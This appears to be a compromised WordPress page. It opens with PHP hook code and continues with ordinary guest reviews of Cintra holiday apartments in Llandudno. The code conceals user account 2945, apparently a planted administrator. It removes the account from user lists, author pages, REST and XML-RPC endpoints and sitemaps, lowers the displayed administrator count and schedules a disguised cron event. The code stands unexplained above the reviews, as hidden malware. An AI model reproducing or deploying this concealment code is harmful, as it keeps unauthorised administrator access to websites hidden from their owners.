add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2945;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2945 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2945 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2945;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2945;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2945;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2945(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2945;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
5 of 5 stars Reviewed
We stayed for a couple of nights and felt at home from the minute we arrived. Lovely fresh scones and chocolates on arrival were a great personal touch.
Location is amazing and unbelievably peaceful.
Hosts were very kind and went out of their way to accommodate my special requests.
Apartment was immaculate and had everything we needed to enjoy our stay inc. wifi and sky tv.
We were sorry to leave and regretted only staying for a short break.
Would highly recommend staying here and look forward to returning.
Can’t express just how much we enjoyed this break. A++++++
]]>What a fantastic location. Look out of your window straight on to the beach followed by the sea. What a sight to wake up to.
Apartment was fantastic and the added bonus of sky sports , the welcoming host’s and nothing too much trouble for them .
Would definitely recommend it to others.
]]>The Sea changes colour and mood regularly throughout each day and it just a delight to wake up to that sight each morning.
Every comfort is catered for at Cintra and you’ll always be cosy and warm whatever the weather outside. You can see the Sea & Beach from every room bar the bedroom & bathroom.
It gives you a sense of peace & relaxation being this close to the Sea and you will eventually have to leave for home but you’ll feel much better for the lovely experience
We would be returning to Cintra much sooner if it wasn’t so fully booked
]]>What a joy to wake up to the sound and sight of this lovely Beach
The accommodation is so welcoming and every conceivable comfort has been thought of in a lovely contemporary Beach Theme
We will definitely be returning to Superb Cintra Apartments later in the year
Sheila
]]>Very clean and tidy every thing you needed was there
Very warm apartment and a lovely welcome when we arrived.
We will definitely be booking again
]]>Just returned from an idyllic week, staying in this beautiful apartment.
Apartment 2 was perfect for us. It was extremely clean and had everything we possibly needed and more. Even extra hooks to hang clothing on doors. Settee was very comfortable and kitchen well laid out. Bed was new and really comfy too.
Cannot fault anything. View was amazing from Patio and lounge, hence the Paradise remark. Just a perfect place to be. Would never stay anywhere else but here, when we need a hol in North Wales.
Highly recommend these apartments. Olive was lovely and helpful, she made us feel welcome. Just wanted to stay there.
We were greeted by a cheery owner and shown to a spotlessly clean apartment (apartment 2). The shower stayed at the desired temperature and there was free & fast WIFI.
We were attracted to the apartment by the look of the views from the website and other reviews, but they were so much better in the flesh. Inevitably, I took far too many photos of them – irresistable with the changing sun and tides and passing wildlife.
Our visit was in late October, but we were amazed to see so many butterflies still active and the temperatures were much warmer than we expected.
]]>We’ve just had an amazing holiday in Llandudno.
Superb Cintra Apartments is a really great place to holiday,
it’s extremely well equipped and was very clean and tidy. Everything is brand new.
The beds are really comfy and the bathroom ideal wth a lovely power shower. The coastline and our private Beach is stunning with views of the Great and Little Orme.
We discovered that you can travel all over North Wales with. £5 bus ticket so it was good to be able to see a bit more although to be honest we were very content where we were at Superb Cintra Apartments
]]>We wouldn’t hesitate to recommend Cintra Apartments to our family and friends and will be returning again next year. Many thanks
]]>